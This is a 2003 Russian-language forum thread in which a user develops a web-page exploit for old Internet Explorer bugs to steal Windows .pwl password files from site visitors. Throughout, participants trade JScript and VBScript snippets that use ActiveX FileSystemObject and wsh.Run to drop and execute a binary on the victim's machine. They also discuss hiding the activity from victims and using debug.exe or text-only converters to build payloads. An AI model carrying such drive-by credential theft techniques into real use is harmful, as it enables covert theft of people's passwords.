У меня получилось в JScript...14.07.03 10:58 Число просмотров: 2030 Автор: :-) <:-)> Статус: Elderman Отредактировано 14.07.03 11:00 Количество правок: 1
Символы с кодами <0x80 можно записывать Си-шной нотации \xHH.
Но, как ни странно, символы из второй половины ASCII-таблицы (>0x80) в таком виде записать нельзя! Видно, в M$ решили, что в наш век Unicode это не нужно.
Но зато если их вставить в текст "as is", то это работает:
s = "\x01\x02\x1A.....БВГДЇ"
f.Write(s);
Все оказалось просто, но никто ведь не подсказал :(
Недавно зашел на http://www.guninski.com/browsers.html и решил сам написать эксплоит, который должен тырить pwl файлы через веб-страничку.
Сначала я воспользовался первым попавшимся багом (http://www.guninski.com/getobject1-desc.html). Мой скрипт тырил system.ini, читал имя pwl'ки из [password list], а потом скачивал саму pwl'ку. (не буду приводить исходник, все есть на guninski.com) Я залил скрипт на сервак и начал радостно смотреть, как одна за другой прибывают pwl'ки, но когда я попытался их расшифровать, то понял, что файлы приходят в измененном виде :((( Например, байт \xfe меняется на \x3f, а нулевые байты просто срезаются. Т.е. при обращении к свойству innerText текст каким-то образом форматируется. Это не касается букв и цифр, но почти все остальные байты портятся.
Но это меня не остановило и я решил попробовать другой баг (http://www.guninski.com/scrtlb-desc.html). Я сразу решил не заливать юзерам трояны, т.к. они все весят по 50-70 Kb. Я написал маленькую прогу на ассемблере, которая превращала pwl'ку в escape-строку (т.е. просто записывала байты в виде \xhh) и сохраняла в неприметном файле c:\001.tmp (А потом хотел просто слить с компа юзера, когда он второй раз зайдет на сайт) Потом я попытался залить эту прогу через броузер себе на комп и выполнить ее:
Но опять ничего не получилось!!! Выяснилось что моя прога опять записалась в слегка подпорченном виде :( Если бы проблема была только в нулевых байтах, то без них можно было бы обойтись, но к сожалению все гораздо сложнее.
Возможно все что я делаю это извращение, только хотелось бы узнать что надо делать :) Буду рад любой помощи.
Вот что получилось в результате :)11.07.03 05:02 Автор: hello_world Статус: Незарегистрированный пользователь
Остается 1 вопрос: как скрыть вывод программы debug при обработке скрипта? А то юзеру плохо может стать, когда он увидит цифры ползущие по экрану :)
Еще хотелось бы закрыть окно hta и желательно средствами java, а то на асме писать неахота :) Может кто подскажет как это сделать, а то я яву совсем не знаю :)
Вот что получилось в результате :)12.07.03 10:08 Автор: :-) <:-)> Статус: Elderman
> Остается 1 вопрос: как скрыть вывод программы debug при > обработке скрипта? А то юзеру плохо может стать, когда он > увидит цифры ползущие по экрану :)
Разве что что перенаправить в >nul, но окно ДОС-сеанса все равно будет появляться...
Я не пойму, а зачем тебе вообще debug.exe?
Сделай этот .hta на VBScript и пиши сразу двоичные данные в файл (я же пример кода приводил в той мессаге)
> Еще хотелось бы закрыть окно hta и желательно средствами > java, а то на асме писать неахота :) Может кто подскажет > как это сделать, а то я яву совсем не знаю :)
Это же всего несколько строчек на asm - FindWindow/SendMesage
А из JavaScript вряд ли это можно сделать...
Вот что получилось в результате :)13.07.03 02:09 Автор: hello_world Статус: Незарегистрированный пользователь
> Я не пойму, а зачем тебе вообще debug.exe? > Сделай этот .hta на VBScript и пиши сразу двоичные данные в > файл (я же пример кода приводил в той мессаге) Да, на vbs действительно лучше, хотя файл примерно 40Кб весит
> Это же всего несколько строчек на asm - > FindWindow/SendMesage > А из JavaScript вряд ли это можно сделать... Достаточно просто убить процесс c:\windows\system\mshta.exe
У меня получилось в JScript...14.07.03 10:58 Автор: :-) <:-)> Статус: Elderman Отредактировано 14.07.03 11:00 Количество правок: 1
Символы с кодами <0x80 можно записывать Си-шной нотации \xHH.
Но, как ни странно, символы из второй половины ASCII-таблицы (>0x80) в таком виде записать нельзя! Видно, в M$ решили, что в наш век Unicode это не нужно.
Но зато если их вставить в текст "as is", то это работает:
s = "\x01\x02\x1A.....БВГДЇ"
f.Write(s);
Все оказалось просто, но никто ведь не подсказал :(
У меня получилось в JScript...14.07.03 15:23 Автор: hello_world Статус: Незарегистрированный пользователь Отредактировано 14.07.03 15:24 Количество правок: 1
Какая у тебя ОС/браузер ?
У меня, например само наличие байта \x00 говорит о том, что файл не будет записан. При этом никакой ошибки не возникает. Даже при попытке запустить этот файл не вылетает ошибки, хотя самого файла нет.
У меня получилось в JScript...14.07.03 19:46 Автор: :-) <:-)> Статус: Elderman
IE 6.0, но я специально проверял еще в IE 5.0, где работает этот эксплойт.
> У меня, например само наличие байта \x00 говорит о том, что > файл не будет записан. При этом никакой ошибки не > возникает. Даже при попытке запустить этот файл не вылетает > ошибки, хотя самого файла нет.
...skipped
> Я написал маленькую прогу на ассемблере, которая превращала > pwl'ку в escape-строку (т.е. просто записывала байты в виде > \xhh) и сохраняла в неприметном файле c:\001.tmp (А потом > хотел просто слить с компа юзера, когда он второй раз > зайдет на сайт) Потом я попытался залить эту прогу через > броузер себе на комп и выполнить ее: > > content='_код проги_'; > f_obj=new ActiveXObject('Scripting.FileSystemObject'); > fp=f_obj.CreateTextFile('c:\\escape.com',false); > fp.Write(content); > fp.Close(); > wsh.Run('c:\\escape.com');
Тут можно вместо JScript использовать VBScript. В нем есть функция chr:
content=chr(2)+chr(5)+chr(255)
set f_obj=CreateObject("Scripting.FileSystemObject")
set fp=f_obj.CreateTextFile("c:\escape.com",false)
fp.Write(content)
fp.Close()
Про другие способы:
Если уж ты пишешь программку на ассемблере в виде маленького .com-файла, то пиши ее так, чтобы она содержала только текстовые символы.
Есть конвертеры, которые преобразуют .com-файл таким образом (filehide например).
Еще двоичный файл можно создать через debug.exe.
В текстовый файл пишешь debug-скрипт для создания своего файла, потом даешь команду
debug <myscript.dbg
Кто-нибудь знает, есть ли activex функция, которая пишет(читает) в файл N любых байтов, как например write() в C ?
И еще очень бы хотелось знать мнение кого-нибудь кто уже писал что-то подобное. Если все это слишком просто и даже не стоит обсуждения, то напишите хотябы об этом. Просто хочется хоть что-нибудь услышать :)
Заранее спасибо.
activex может почти все, что может обычная прога под винду, так что почитай msdn18.06.03 08:55 Автор: tdes <jin> Статус: Member
> Кто-нибудь знает, есть ли activex функция, которая > пишет(читает) в файл N любых байтов, как например write() в > C ? Это очень уж пахнет DoS-ом, когда любой сайт может заполнить весь диск какими то данными.
Для этих целей используется кеш бровсера. Правда свой файл там еще найти надо - именно для противодействия такому запуску у всех бровсеров путь к файлам в кеше содержит какие нибудь случайные символы. Не помню где, но вроде бы я видел пример как можно узать путь к кешу в IE. Не очень похоже на реальную помощь, но по крайней мере будешь знать, что безопасность при разработке бровсеров ставится не на последнее место. И как раз такие действия и пытаются исключить всеми способами.
Вообще-то веб не может сохранять произвольные данные18.06.03 02:37 Автор: hello_world Статус: Незарегистрированный пользователь
Я проверял. Это работает. Единственная проблема в том, что я не могу записать туда свою прогу, т.к. все функции activex, которые я знаю, не хотят правильно работать с двоичными данными :(
А за кэш спасибо. Буду доки искать.
Вообще-то веб не может сохранять произвольные данные18.06.03 15:35 Автор: amirul <Serge> Статус: The Elderman
> В IE 5.0 есть баг, позволяющий вот таким образом выполнить > любую команду: Баги, позволяющие удаленно запустить любую прогу периодически появляются.
> Я проверял. Это работает. Единственная проблема в том, что > я не могу записать туда свою прогу, т.к. все функции > activex, которые я знаю, не хотят правильно работать с > двоичными данными :( Вот как раз это я и имел в виду. Чтоб запустить СВОЮ программу нужно две уязвимости - чтоб загрузить (или найти в кеше) и чтоб запустить. А это повышает безопасность. Так что просто так стандартными средствами записать что угодно на винт пользователю тебе вряд ли дадут - только дыра какая то.